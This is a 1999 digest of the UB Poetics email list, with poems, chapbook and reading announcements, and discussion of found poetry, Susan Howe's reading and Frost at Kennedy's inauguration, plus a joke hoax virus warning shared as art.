>bloody birds clucked
>bloody beaks
>plucked bloody feathers
>bloody talons
>bloody wishbones
>bloody batterd drumsticks
>yummy
>
>baka washi
>28-29may99

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

17. Chris McCreary
ixnay on the web
Sat 29 May 1999

We'd like to invite you to sample our new humble yet hopefully functional ixnay press website. It can be found at:

http://members.aol.com/ixnaypress/page/index.htm

You should be able to sample text from our ongoing chapbook series as well as poems from the first two issues of ixnay magazine. Since this is a new venture for us, please feel free to notify us of any problems that you experience along the way...

Thanks-- hope you enjoy.

Chris McCreary
Jenn McCreary
co-editors, ixnay press

↑ Index

18. Mark DuCharme
Re: found poetry
Sat 29 May 1999

The last sonnet in Ted Berrigan's _The Sonnets_ contains lines from Shakespeare's _The Tempest_. Other Berrigan sonnets include lines or passages from (Berrigan's?) translations of Michaux, Rimbaud, Rilke, & probably others, as well as lines or passages from poems by his friends Ron Padgett & Joe Brainard, his own "failed" poems, etc.

Berrigan's _Clear The Range_ is similarly based on some Western novel (I have no idea what the title is).

Ashbery's poem "Europe" uses language "found" in a book called _Beryl of the Biplane_.

In addition to the books somebody else mentioned, Jackson Mac Low has a lot of works based-- more "methodically"-- on found material. One e.g. that comes to mind: "Quatorzains for/from Emily Dickinson" in _Representative Works_.

& What about the use of historical documents & letters in Williams' _Paterson_. Or the found material of numerous sources that drifts in & out of Anne Waldman's _Iovis_....

What about deliberate "mistranslation"?....

Mark DuCharme

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

19. Tom Beckett
from Linework at Djerassi
Sat 29 May 1999

Dear Blank,

I miss my honey but her alibis scare me

She expects my personality to change--weekly

Now I'm known as Shecky-Sheena

an aging vaudevillian slash

Princess of Power

By night I work the Catskills

by day I fight my foes

looking lickerish in lycra

on the mean Main Streets

Love,

Blank Two

↑ Index

20. Alan Sondheim
too easy and philosophy
Sat 29 May 1999

\

too easy and philosophy

if this were a poem, I would declare my eternal love for you, moving on to the next line

or the next stanza, where I'd swear by all accounts, belgium has disappeared from the face of the earth - not stopping

here I'd pen a manifesto bringing an end to war, enslaving peace to the unwelcome task of boredom, surgery, and ennui -

hey, but there's more - exclamations! that the body still gets a bit excited, almost out of breath - just so

in these slap-dash days we move from one terrific bit to just another, ruling and running (up and down) the world -

nothing's really done against our will or for it - easier
to make declarations, just as every poem has its subject,

every subject its poem, scattered like lenses among subjects and verbs, maybe even not -

if this were a poem, it would announce what i'd do in the year 3000, or maybe in another warmer galaxy, but wait

there's more - what i mean to say, there's all this world
literature running around the world, and even the smallest poem

promises eternity, and if just one stanza were true, why
there'd be no need to say anything else at all -

but like this, the words keep on flowing from the wounds
in the body looking for attention and reward and driven

by really dull dna - there's the really big yay! for example when the siloam tunnel was finally dug out near jerusalem -

oh, this happened 2800 years ago - guys going at it
from two directions - what else can you do with a line -

suddenly the piercing took, and there you were - at least
at that moment the text took after the fact -

3000 years ago someone thought his courage high above
the river, he's crossing to see his girlfriend

with incredible longing and sexiness in the desert -
now you've got poems and prose of punishments and crimes -

whole nations disappearing - there goes vietnam -
what about a war? well, let's have peace -

that's about it, then just another text or sonnet - something else is happening, someone's going to do something about it -

i love you all but i love my girlfriend best, good night

↑ Index

21. Patrick F. Durgin

Re: found poetry

Sat 29 May 1999

Jena Rod Smith's piece in the second issue of Tripwire, as well as some of O'Hara's plays, might be interesting to you if you intend to look at faux-found text works. Rod's piece is especially interesting as he's culling and reworking and, most of all, role-playing recognized figures in what amounts to a critico-poetic essay. Though I may have stretched these terms beyond their breaking point, here. Patrick F. Durgin

At 04:53 PM 5/25/99 -0700, Taylor Brady wrote:
>Jena,
>
>A few texts spring most readily to mind here:
>
>Jackson Mac Low's _Words nd Ends from Ez_, _Virginia Woolf Poems_,
>_Barnesbook_, etc.
>Ronald Johnson's _Radi Os_ (1st 4[?] books of Paradise Lost, written-through
>by subtraction)
>Hannah Weiner's _Weeks_ (I don't think it sticks very "purely" to language
>heard on the news, but most of it's close)
>Tom Phillips' _A Humument_
>Joan Retallack's _Errata 5uite_ (Are you looking for poems "found" in single
>texts, or collaged from a number of sources?)
>David Bromige's Sonoma County newspaper prose poem, a lovely piece whose
>title I'm unfortunately not able to recall
>
>I also remember well a piece by Rosmarie and Keith Waldrop, read by them at
>the Ear Inn back in '95(?), which was created by successively working
>through Wordsworth's "Tintern Abbey," each time subtracting a certain
>proportion of words. Rosmarie's use of Wittgenstein in _The Reproduction of
>Profiles_ and _Lawn of Excluded Middle_, while not a pure example of the
>genre, also might be of interest.
>
>In the realm of badly-remembered secondhand information, didn't I also hear

>somewhere that dictionary definitions had some role as "source material" in
>Clark Coolidge's _The Maintains_?
>
>Analogies in music too numerous to document here - and probably off-topic,
>though I'd be happy to backchannel if you're interested. One I'll mention,
>since it connects to one of your examples, is Cage's _Quartets I-VIII_,
>which is a subtractive rewriting of American Protestant hymns.
>
>I'm drawing a blank when trying to think of critical prose on this specific
>topic other than that by the poets/composers themselves, though there are a
>number of texts which might be extended to apply here by analogy. Which
>leaves Mac Low's and Cage's "explanatory" prose glosses, along with Cage's
>_Diary_ [_Journal_?] as good introductions to the procedures, some of the
>aesthetic and political claims that have been made for them, etc.
>
>I hope this is at least a little helpful.
>
>
>Taylor
>
>
>-----Original Message-----
>From: UB Poetics discussion group
[mailto:[redacted]]
>On Behalf Of Jena Osman
>Sent: Tuesday, May 25, 1999 9:21 AM
>To: [redacted]
>Subject: found poetry
>
>I'm interested in poems that were "found" inside of other texts (such as
>Cage's mesostics and Reznikoff's _Testimony_). What are some favorites in
>this genre by others? Any critical texts about these kinds of procedures I
>should know about?
>
>Thanks,
>Jena Osman
>[redacted]
>
>

↑ Index

22. Alan Sondheim
Useless Expenditure of Energy
Sun 30 May 1999

\

Useless Expenditure of Energy

Set x = 1
Procedure A
Multiply x by 1.
If x is greater than 1 then stop; else
Goto Procedure A.

Set x = 1
Procedure B
Add x by 0.
If x is greater than 1 then stop; else
Goto Procedure B.

I will set these programs to run and I will run these programs. I will run them in fast compiled languages on and on and on. Sooner or later they will stop and I will have made something. What I will have made will not be too large or too small. What I will have made will just stop the programs. That will be a useless expenditure of energy because I could have just decided to have stopped them by myself.

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23. Harold Teichman
Re: Howe in NYC / Prevallet
Sun 30 May 1999

Thanks to Kristin Prevallet for her impressions of Howe's
Dia reading, somewhat at odds with mine.

Kristin said:
> She talked in her intro about how she is beginning to see more and more
> of a connection between poetry and non-symbolic logic, and as she moved
> further and further into her poems, her slides of the Pierce manuscripts
> got more and more non-symbolic.

My memory is of Howe alluding to the likeness of the
enterprises of poetry and *symbolic*--not 'non-symbolic',
whatever that might be--logic, though I could be wrong.
In any case, that was just a remark waiting for an

enactment or embodiment in her text, which seemed to me lacking in the ensuing bio-bricolage.

↑ Index

24. Mark Weiss

Warning!

Sun 30 May 1999

It had to happen--the virus warning as art form. This came to me from the journalist Tom Miller.

> *Subject: Virus*
>
> *If you receive an e-mail entitled "Badtimes", delete it immediately. Do not open it. Apparently this one is pretty nasty. It will not only erase everything on your hard drive, but it will also delete anything on disks within 20 feet of your computer. It demagnetises the stripes on ALL of your credit cards. It reprograms your PIN access code, screws up the tracking on your VCR and uses subspace field harmonics to scratch any CDs you attempt to play.*
> *It will recalibrate your refrigerator's coolness settings so all your icecream melts, your milk curdles and your beers boil. It will program your phone autodial to call only 0898 sex line numbers. This virus will mix antifreeze into your fish tank. It will smoke all your cigarettes.*
> *It will leave dirty socks on the coffee table when you are expecting company. It will replace your shampoo with engine oil and your engine oil with orange juice, all the while dating your current girl/boyfriend behind your back and billing their hotel rendezvous to your Visa card.*
> *It will cause you to run with scissors and throw things in a way that is only fun until someone loses an eye.*
> *It will rewrite your backup files, changing all your active verbs into passive tense and incorporating undetectable misspellings which grossly change the interpretations of key sentences. If "Badtimes" is opened in Windows95/98, it will leave the toilet seat up and your hair dryer plugged in dangerously close to a full bath. It will also molecularly rearrange your aftershave/perfume, causing it to smell like dill pickles. It will install itself into your cistern and lie in wait until someone important, like your boss or lover, does a serious number 2, then block the s-bend and cause your toilet to overflow.*
> *In the worst case scenario, it may stick pins in your eyes.*
> *PLEASE FORWARD THIS WARNING TO EVERYONE YOU KNOW.*

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25. hofermr
poetry world domination mini-tour
Sun 30 May 1999

---

or mini-skirt world domination poetry tour--

Summi Kaipa & Jen Hofer read poems this week!

Tuesday June 1 at 8 pm in the evening
Plan B Evolving Arts
1050 Old Pecos Trail, Santa Fe
a small fee will be charged at the door (possibly but don't not come 'cause you don't have dough)
[redacted]

Thursday June 3 at 8 pm
The Poetry Center at The University of Arizona, Tucson
sadly we cannot locate the address of this place
but if you should like to attend the event & don't know the location, contact Frances Shoberg at [redacted]

Sunday June 6
bbq extravaganza at the home of Stephen Cope, Kirthi Nath & Joel Kuszai
4 pm in the afternoon
3856 1/2 First Ave.
(the front house is 3852 First Ave).

shows in santa fe & san diego include screenings of films by Sarah Jane Lapp, David Gatten & Kirthi Nath

please come & tell your friends.

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26. Alan Sondheim
I I drEaM of YoU All fAcE hElp me and remem $500,000 They sEttlE fOr Less (fwd from true ransom note)
Mon 31 May 1999

=

I I drEaM of YoU All fAcE hElp me and remem $500,000 They sEttlE fOr Less

Oh azure ples and my boDy gIvEn tO YoU SuCh a loNg and goLd goLd and I thiNk we canD bEaUtIfUl fAcE thE time and remem $500,00,000 thEy'rrE Please hElp me lOvinG YoUr loNg limbS and bEaUtIfUl fAcE They aRe afTer me and I I I haVe tO get Them $500,000 and I thiNk we can Raise $400,000 and yOur lips and yOur smiLe WhiCh fiLls the moonLiT nIghts and thEy'll prObably sEttlE fOr $300,000 and and And Please haVe left theRe and marounD I I I

Haven tO yOur lips and YoUr smiLe as I I thiNk we can Raise $400,00,000 thEy'll sEttlE and Love and rEmE come come yOur loNg HanDs yOur loN't KnOw what thaVe tO get the moonLiT nIghts YoU haVe LefTer me left theRe and marks on my nEck And bream of YoU All thAt meaNs yOur loNg HanDs yOur lips and goLd And SuCh a loNg in thE nExt rOonlit nEck and Breasts yOur lips and and And I drEaM of YoU All fAcE

are are aRe marks on Raise $500,000 and I t Please hElp me lOvinG yOur AroUnd me and yOur sMilEs and my boDy gIvEn tO YoU SuCh a loNg and goLd and sIlvEr thEy'll sEttlE as I sAid fOr $300,000 There aRe marks on my nEck and Breasts YoU haVe left theRe and marks they haVe made as well my HisTory of liFe and Love and DeaTh Please Hurry Please come come come yOur marks aRe oVeR me and $500,000 T aRe marks aRe oVeR me made as we can Raise $400,00,000 and beautiful fAcE They aRe afTer me and I I I haVe tO get They aRe afTer me and YoUr sMilEs Oh AzUrE aRe marks on my boDy get Them $500,000 h azure Please hElp me lovIng yOur loNg limbS and bEaUtIfUl fAcE

and my boDy gIvEn tO YoU SuCh a loNg All thE time and bEaUtIfUl fAcE They AroUnd me and yOur smiLe and yOur loNg in thE nExt rooM and fOr $300,000 There aRe made as well sEttlE as I sAid fOr $300,000 There aRe marks onLiT nIghts and thEy'll sEttlE as I sAid fOr loNg limbS And I doN't KnOw what thaVe lE fOr $300,000 There moViNg in thE nEck and Breasts YoU sMilEs and my sEttlE fOr $300,000

moonLiT nIghts and thEy'll prObably sEttlE fOr $300,000 and and And I drEaM of YoU All thE time and remember thE fLowers Oh azure such a finerS loNg and goLd and sIlvEr thEy'll sEttlE as I sAid fOr $300,000 There aRe marks on my nEck and Breasts YoU haVe left theRe and marks they haVe made as well my HisTory of liFe and Love and DeaTh Please Hurry Please come come come yOur marks aRe oVeR me and $500,000 thEy'rre doN'T deSert Them $500,000 thEy'rE aRe marks on my sEttlE fOr $300,000 ans yOur loNg HisTory of limbS And boDy gIvEn thiNk we come come come come time and remembS and Beautime and remember me and I I I haVe left theRe oVeR me and I I I haVe lips and marks there aRe marks aRe oVeR thEy'll sEttlE and yOund me and I I I haVe Hurry Please Com They aRe and deSert me Now t hElp me lOvinG yOur loNg limbS And bEaUtIfUl fAcE They aRe afTer me and I I I haVe tO get Them nIghts and Them $500,000 and my boDy gIvEn my sEttlE for $300,000 There aRe marks on my nEck and brEas I sAid goLd and sIlvEn tO YoU sUch azure pleaSettle as I SuCh a loNg and goLd yOur Long finerS aRoBaBly sEttlE fOr $300,000 ther me and I I I thiNk we can Raise $300,000 and and bEaUtIfUl fAcE

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27. Peter Ganick
new Potes & Poets Press chapbooks
Mon 31 May 1999

Announcing the 3rd series of chapbooks,
now available from the publisher, or SPD.

Ivan Arguelles, City of Angels -- $7
Vernon Frazer, free fall -- $6
Rachel Levitsky, The Adventures of Yaya & Grace -- $7
Judith Roitman, Slippage -- $7
Peter Ganick, Immanence -- $7
Andrew Mossin, The Epochal Body -- $6
Jenn McCreary, errata stigmata -- $6
Thom Donovan, Sudden Miles -- $7
John Crouse, Eventing -- $6
Chris McCreary, Samson Agonistes -- $7
Alison Lune, Fringist Epiphany -- $6
Andrea Brady, Liberties -- $7

All twelve chapbooks available soon from the
publisher for $68 [postage included, fourth
class, a $79 value] --

Or, buy any 3 [three] and choose 1 [one]
free --

For first class postage add $0.50 per book --

Send check to: Potes & Poets Press
181 Edgemont Avenue, Elmwood CT 06110-1005

Or, chapbooks are available from
Small Press Distribution, [redacted],
[redacted]

↑ Index

28. Michael Scharf
New temporary e-dress
Mon 31 May 1999

This account, [redacted], is kaput. I should have a new address soon. For now, please find me at

[redacted]

Thanks -Mike

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29. Joel Lewis
f.y.i.
Tue 1 Jun 1999

* In April, prominent Canadian geneticist Robert Hegele told a conference in Edmonton, Alberta, that when he revealed to some Newfoundlanders in remote villages that they possessed a genetic flaw that increased their chances of heart disease, they were happy. Their initial reaction, said Hegele, was, "This is great! They figured, 'This means we're doomed, so we . . . don't need to quit smoking or [stop eating fatty foods].'"

↑ Index

30. Poetics List Administration
list delay . . .
Tue 1 Jun 1999

caused by problems with dialup service. fortunately
it was a holiday weekend, so not much traffic seems
to have been held up. what was, follows.

Chris - missing history

↑ Index

31. Judy Roitman
Re: Howe in NYC / Prevallet
Tue 1 Jun 1999

from Harold Teichman.

> *Thanks to Kristin Prevallet for her impressions of Howe's*
> *Dia reading, somewhat at odds with mine.*
>
> *Kristin said:*
> *She talked in her intro about how she is beginning to see more and more*
> *of a connection between poetry and non-symbolic logic, and as she moved*
> *further and further into her poems, her slides of the Pierce manuscripts*
> *got more and more non-symbolic.*
>
> *My memory is of Howe alluding to the likeness of the*
> *enterprises of poetry and *symbolic*--not 'non-symbolic',*
> *whatever that might be--logic*

That is what she says in Pierce-Arrow. Symbolic, that is.

Non-symbolic logic is what people did before the mid-19th century and still do. More connected with human language/mind. Symbolic logic has an aspect in which it is just another branch of mathematics (think algebra; think algorithms); non-symbolic logic does not. Symbolic can swallow up whole fields that perhaps it shouldn't (think modal logic, i.e., notions of necessity/causality) if you let it.

I've been off the list, missed the impression of Howe's reading, did she say anything about the context for specific pages of Pierce reproduced in her book? I'm especially curious about the one just before the short Iliad piece that opens her work. My memory (I'm at my office, the book is home) is that the words SING and KILL are prominent. Please back-channel me. Extensive travel will force me off the list again soon.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

32. Lowther,John
Re: Howe in NYC / Prevallet
Tue 1 Jun 1999

harold
& the list

i had some backchannel contact with kristin
and she mentioned that "non-symboic" was
a typo - she'd meant to write "symbolic"

i intervene here only as i don't think KP is on this list

> *-----Original Message-----*
> *From: Harold Teichman [SMTP:[redacted]]*
> *Sent: Sunday, May 30, 1999 11:42 AM*
> *To: [redacted]*
> *Subject: Re: Howe in NYC / Prevallet*
>
> *Thanks to Kristin Prevallet for her impressions of Howe's*
> *Dia reading, somewhat at odds with mine.*

> *Kristin said:*
> *She talked in her intro about how she is beginning to see more and more of a connection between poetry and non-symbolic logic, and as she moved further and further into her poems, her slides of the Pierce manuscripts got more and more non-symbolic.*
>
> *My memory is of Howe alluding to the likeness of the enterprises of poetry and *symbolic*--not 'non-symbolic', whatever that might be--logic, though I could be wrong. In any case, that was just a remark waiting for an enactment or embodiment in her text, which seemed to me lacking in the ensuing bio-bricolage.*

↑ Index

33. Maria Damon (Maria Damon)

Re: Frost at Kennedy's inauguration

Tue 1 Jun 1999

At 9:59 AM 5/28/99, Mark Melnicove wrote:
>I'm writing an essay on Robert Frost's reading/recital at JFK's
>inauguration and I'm looking for contemporary (i.e. 1961) responses to this
>event by other poets. I've started to comb letters and diaries as collected
>in books (Sandburg, Ginsberg, Jarrell, etc.), but haven't turned up much
>yet. Anyone with any sources, leads, etc. please b.c. And, if you were
>there (in person, or via TV) and wrote something at the time, or have some
>recollections 38 years down the road you'd care to share, I'd love that,
>too.
>Mark Melnicove

i remember my mother, who was a danish citizen, being so moved that she went out and bought Frost's Collected Works, which we still have in a prominent place in my family's home. also, Steven Caton, in Peaks of Yemen I Summon: Poetry as Social Practice in a Northern Yemeni Tribe, and Zofia Burr, in an as yet unpublished ms, discuss this event. so does, i believe??, robert von hallberg in American Poetry and Culture 1945-1980. Caton and von Hallberg discuss it in their introductions. burr devotes a chapter to comparing the kennedy/frost event to the clinton/angelou event. it's fascinating. i'd love to know more about what you're doing with this signal moment.

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34. Lowther,John
CONTACT Jenna Roper Harmon
Tue 1 Jun 1999

---

if anyone out there can give me an email address fro Jenna i wd very much appreciate it - i need to get in touch with her

thanx

↑ Index

35. Tony Green
Re: snogging, wass iss diss snokking?
Tue 1 Jun 1999

-----Original Message-----
From: david bromige <[redacted]>
To: [redacted] <[redacted]>
Date: Wednesday, 2 June 1999 04:13
Subject: snogging, wass iss diss snokking?

> *Rachel, listmates, I believe snogging is british c. 1950 for heavy petting.*
> *Any other aging britspeak persons on this list to bear this out or correct?*

Aging brit here confirms snogging as heavy petting, or not even heavy petting, or just simply kissing -- that is, recollecting 1950s/60s usage & variable depending on who you were talking with. But this Wilson guy seems to mean bonking, signalling some kinda language-shift.

> *btw, Rachel, thanks for posting that Wilson review of Motion.*

Tony Golders Green

↑ Index

36. Wendy Kramer
Rooting in Erotic Garbage
Tue 1 Jun 1999

The last straw of trash depravity has been broken. . . the corrugated love pomes have reached their messy apex. while rushing to a librarians' meeting last week at 9: 15 in the a.m., while wearing a dry clean only taupe jacket, while frantically stamping down W. 14th st nyc to get a train to go to the New York Public sixth floor administrative offices where i'm being taught to "manage" i passed upon the curb

a LUNCH pome !!!!

yep! the word lunch embedded in a stack of dirty corrugated cardboard.

Stranded, late, with no heavy duty exact-o knife at hand (o when will this girl _learn_ to carry the weapon of love close to her flank always!) i walked past longingly, hesitated, stopped, rubbernecked, "should i" ? in _these_ clothes?! i'm late! then running back dropped to my haunches & took the lunch with my fingers. jagged edges & all pull pull then noticed the smell of piss & thot is it on the lunch pome am i getting it all over me, this isn't very urbane this won't smell good at the meeting what am i _doing_? then ah but i dont care and fell to once again. then shortly stood up to a puzzled look from the public & went on my way. thinking ah frank! i gotta _lunch_ pome i gotta _lunch_ pome & laughed the whole way to that insufferable sixth floor.

mina loy & frank you were both right! & god bless your sexy selves.

↑ Index

37. Stephen Vincent
Ann Hamilton/ Charles Reznikoff
Tue 1 Jun 1999

In case you did not see it, there's a lovely piece in this past Sunday's NY Times about Ann Hamilton (sculptor/installation artist) that she is preparing for the United States Pavilion for this summer's Venice Biennale. She is most well known for the use of simple materials and subtle means to create large public works invested with both historical and contemporary resonance. Interestingly this piece will draw on the works and ideas of several American writers. For example, and with some curious, but perhaps wonderful irony – given his much neglected position in 20th century writing – the "gallery walls will be covered in a Braille translation of passages from Charles Reznikoff's 'Testimony: The United States 1885 - 1915'". It's almost sweet that a writer, so democratically compelled and pretty much ignored, will have his work risen - albeit somewhat disguised – to a public apex in the international art world. It's probably still too much to hope that Venice will be the means by which Reznikoff will be welcomed 'back home'. The article also mentions other writers Ann Hamilton has drawn from for guidance or advice for influential sources including: Ann Carson, Susan Stewart and Ann Lauterbach. From the article's description, omens are that the piece – called "Myein" – will be a great one

Stephen Vincent

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38. Jordan Davis
the suck of context
Tue 1 Jun 1999

Patrick writes:

> *I'm particularly interested, as I notice*
> *many others around me are these days, in*
> *functionalist redefinitions of*
> *such otherwise impossible to think terms as "poetry"*
> *and "political" and*
> *"efficacy."*

OK, and that may prove to be the functionalEst thing
to do, too. But what is so impossible to think term
about "poetry"? Only impossible if you believe in
esSNz (Jeff Derksen's sequel to Cronenberg).
Otherwise it's just games, sets, relations.

In re: "efficacy" I think we are standing across
the crater from oeach ether. I am acting as inaudible
interpreter of rumblings across generational strata.
We are hearing "why no politics." I would rather not
say "but yes politics!" I would rather say "what means
why no politics." I have a quiet feeling that this is
another chance for generational call and response
invite to Freuddance. We'll see!

> *let's not*
> *question the agency of a tradition without proposals*
> *for its*
> *reconfiguration in the wagering. Or, the agency of a*
> *medium (another*
> *troubled term). Or, the agency of linguistics . . . ad >absurdly yrs*

These are already offed. In offing.

Jordan

↑ Index

39. Billy Little
Re: workshops with Chris Stroffolino
Tue 1 Jun 1999

---

amigos,

how is larry fagin. Did anybody think maybe he's on his uppers and trying to gain some sustenance(and dignity) by doing something he knows about/ just asking.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

[redacted]
zonko

↑ Index

40. Lowther,John
FW: A quote for you
Tue 1 Jun 1999

---

this is silly but i can't resist forwarding it

> *-----Original Message-----*
> *From: Deppe, Roberta*
> *Sent: Monday, May 24, 1999 6:56 PM*
> *To: Lowther,John*
> *Subject: A quote for you*
>
> *"...and besides, everyone likes his own products more than [other people's], as parents and poets do."*
> *-Aristotle, Nicomachean Ethics*
>
> *;-)*

↑ Index

41. Jim Swift
Re: snogging, wass iss diss snokking?
Tue 1 Jun 1999

When I was a student in Britain in the 50's, snogging was just another name for kissing, somewhat more than affectionate but not particularly heavy! Quite enjoyable really!

> *-----Original Message-----*
> *From: david bromige [mailto:[redacted]]*
> *Sent: Friday, May 28, 1999 12:14 AM*
> *To: [redacted]*
> *Subject: snogging, wass iss diss snokking?*
>
> *Rachel, listmates, I believe snogging is british c. 1950 for heavy petting.*
> *Any other aging britspeak persons on this list to bear this out or correct?*
> *David*
>
> *btw, Rachel, thanks for posting that Wilson review of Motion.*

> *I cant think*
> *when i've seen character assassination masquerading as lit*
> *crit to that*
> *degree, here in the usa. I've been trying to remember whether*
> *Motion was*
> *wearing mascara when i met him in toronto ten years ago. It*
> *must have been*
> *subtly applied if so. Could it be a convenient slander? (Not,*
> *of course,*
> *that one has anything against men in mascara). I found him*
> *worth a read.*
>
> *David*

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42. John Kimball
Boston 1999
Tue 1 Jun 1999

Boston 1999

Audio, text & graphics from Boston poets & artists.

"...defining and extremely useful."

-- Robert Creeley, from his Introduction

_____

A special issue of The East Village Poetry Web

<http://www.theeastvillage.org>

_____

Why Boston? Why now?

** Try Lori Lubeski, "...a ringing bell / reminds us of church / of pie of paper plates / the word picnic / the world is on a picnic," from "Inside the envelope" --

** Discover one of summer's rarities, a new poem from John Wieners --

** "...tradition from the sidelines can prove that mastery" is reinstated, Beth Anderson's "A stately entrance" --

** Hear an earful! In his audio preface Cid Corman addresses Robert Kelly, Lorca and his own ideal of poetry --

Contributors:

Beth Anderson; John Wieners; Gerrit Lansing; Jim Dunn; Lori Lubeski; Charley Shively; Sean Cole; Robert Pinsky; Michael Franco; Debra Dean; Aaron Kiely;

Daniel Bouchard; Laurel Hughes; Joseph Torra; John Walker; Damon Krukowski; Cola Franzen; Alicia Borinsky; Cid Corman; Karen Davis; Andrea Werblin; Paul Stopforth; Brad Cain; Jack Kimball; Jacques Debrot; Ben Watkins; Donna de la Perriere; Jim Behrle; Heather Petersen; Tadashi Kondo; Raffael de Grutola; Joel Sloman; Joseph Lease; Diane Fraser; Laure-Anne Bosselaar; Bill Corbett; Robert Creeley.

Edited by Jack Kimball and Daniel Bouchard.

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43. Harriet Zinnes
Re: Watten - Total Syntax
Tue 1 Jun 1999

The essay is included in NEW POETICS: Artifice and Indeterminacy, ed. Christopher Beach, U of Alabama Press, l999 (pp. 49-69).

[redacted]

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44. Kevin Magee
Re: DIE ARBEIT IN DER KUNST
Tue 1 Jun 1999

LES CONSTRUCTEURS (1950)
[Huile sur toile, 300 x 200 cm]

Scored for the ensemble, the concert would go on for hours, one getting to know another largely without knowledge of one another, a single voice join with me on the vocals, signals for song allowing the projection of the shape of the poem the taped voice stimulates by demythologizing the drive to reoccupy the radical contingency of the real, its death, when not a day passes without some wild promise made in a non-phonetic space.

The poet is a life writing infinite points along the matrix of the one poem, exploring new media, making mistakes and lots of wrong sounds, silence, random static, 40 or so phonemes standing up solo in Stockholm at a microphone, some of the other earlier Lettriste poets too tied down in computerized texts and cut ups digitally constructed that fit into the work like what the work is without telling you how it works, trusting my not understanding what was going to happen, a machine-based way of working amidst old-fashion ways of physical travel and postage stamps.

In this synthesis Voyage in Californiamay occupy a diaphanous dimension, no consciousness of anything, the skins of the body open, viable, rotated optical

flares in this machine and your machinery, thousands of years of orality, improvised Dickens or Balzac, Proust's hat to which the price tag's still attached, a type of complex improvisational theater where you can enter and start taking pictures, the 'shot' or visible slice of time charring the mechanics of vision, simulacra smearing undermined malleable skeins like paper, weave and filament of wave and ray, veil of stars, light of the alone on the alone, scriptural temple images, everything we think in the city where I live you're close to it anyway, your eyes on the hotel near The Hague, the work conceived from the distance the long pier supported by concrete pilings.

A construction rises as fictive-construct or "Sehnsucht" pressing the destination for me always already there where I can make an idea visible, make something seen or seem the building shown here which exists only as image-structure, a palisade of wood on a foundation of oil drums, how is it going to be looked at later on seeing that certain subjects cannot be approached in propositional constructs such as Hello? Hello?--the one vocal utterance overlaying the other achieves a passacaglia, philosophy's essence, pure being, electrification as an implacable force traversing human lives, cities, industry, agriculture, physics, and that there are logics too urgent to identify with this ill-used, worn-out technology that Marcel was able to develop acoustically in a vocal technique Satie called "crirythme."

Several of his pieces got him in trouble with the record company and his work was handled with extraordinary carelessness like The Book of Kellswhose unusual size shows that it was an altar book made to be used for liturgical readings and experiments in performance poetry, avant-garde jazz and hypertext, the weird stuff that it can do at the limits of consciousness. There is another Coltrane out there with a laptop living in a place as far away as can be like the places where books go when they die, no book over half price, writing and performing and recording the double golden arches of the spoken word, "and damn it, these people who wish to be morally good or something exert a huge inhibiting force. Bullying goes on now in the name of politically correct signifying." (Ian Hamilton Finlay, Little Sparta, Dunsyre, 5 May 1993).

I wanted to build a space and I have, a choreographic prologue geared directly into the chair where I am sitting at the beginning of a video projection of myself shaking to rock lyrics trying to capture my most spontaneous emotional response to the pure chain of appearances in 1995, the video image of my face detached from existing forums for the thousands of pages of poetry I wrote, my voice cued to come on in Copenhagen in November of this year honed down raw, volatile and dialectical- intellectual flowers of evil to become the virtual poet-lariat of North America's invisible proletariat, metastases from the ecstacy intermingling in the iconic domain of photographed paragraphs reverberating with the question, Has nothing changed?

The walls are falling between the Real and the Imaginary speaks us and poses us in the vault of a foundation site atop the painting morphed off the map within the phantasmatics of a lens grown sugary and dim as the Real is taking us somewhere, over scarred ground littered with homeless migratory bodies, the sacrifice of the real for its double creates a lesion we must heal, dealing with a statement on 'a place' as though it were possible to enter it and walk around it on paths downright exterior, gospel shawl and shelter of bare walls and floors without a view of any swans on any pond, our only metaphor for what barely is, a living space or place or sequence of places within walking distance, oars that might mean prayer and learning.

When Glenn Gould dropped out of the concert circuit in 1964, public radio took no notice of his applying ink as lavish hue to herald a glance at the modelling of a wish sliding into diagrams, plans, an architect of intention pressing the private task of writing in letters the exegesis which is not the noema of anything imagined even less than the act, the pure cry, the tear ducts opened, indefinite empty hours amid mute midafternoon on a Sunday at the end of May wept with intense clarity directly into the camera for the Stedelijk Museum in Amsterdam.

The "trans" doesn't always come off, playing the sentimentalist whose body is a spasm of contradictory impulses exposed by trial and error and re-created out of splices and montages of different takes for a high-resolution video conferencing system, having chose eclecticism over any effort to systematize intimacy at a distance, a polylogue of bodies interacting in a virtual, non-integrative soundscape and visual mosaic in collaboration with Stefan George and other notable artisans working in Vancouver for Buffalo TV mostly made at night under artifical lighting.

All circuits are open between what we can do and what we ought to do, what was once fictional is now fallen back on faxes and telephones and e-mail, annotations pointing back to themselves as if in a closed system as in an act of inspiration as in Le baiser transatlantique at the Canadian Cultural Center in Paris where it was once proposed to project on a screen the profiles of two poets turned toward one another, whose lips would meet in a kiss as they continued to speak in French and English (See De Kerckhove, Les Transinteractifs Espace SNVB, Paris, 1990, p15ff). Has the natural body has become so obsolete in light of the hyper-exteriority of its virtual organs outering it into a technoscape extremely ethereal, hardly visible, retreating into the wall itself as if no life had never been there?

30 May, 4:30-11:00 p.m. ET

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45. Deena Larsen
URL for MOO Wed at 3 pm GMT
Tue 1 Jun 1999

PLEASE SEND REPLIES TO DEENA LARSEN at [redacted]. DO NOT RESPOND TO THE SENDING ADDRESS

This is an emergency cross-posting, as the URLs were reported incorrectly.

We apologize for any cross-posting.

Come on in and join us in a fascinating discussion of hypertext!!!

In case you haven't heard of this, or had forgotten:

CYBERMOUNTAIN MOO SESSION
June 2, 1999, 3-6 pm GMT.

CyberMountain, a four-day workshop for hypertext system and content developers, is hosting a simultaneous face-to-face MOO discussion from 3 to 6 pm, Greenwich Mean Time, Wednesday June 2, 1999. Details about CyberMountain are at: http://humans.net/cybermountain/index.html.

The MOO will take place from 3 to 6 pm, Greenwich Mean Time, Wednesday June 2, 1999, starting with a keynote talk by Stuart Moulthrop. MOO sessions are usually merely on-line discussions. However, this session will be based on connected conferences throughout the world to incorporate face-to-face get togethers as well as a computer interface. All over the world, people will gather in schools, universities, businesses, cybercafes and public venues to talk about hypertext issues. They will then discuss these issues as a group on the MOO.

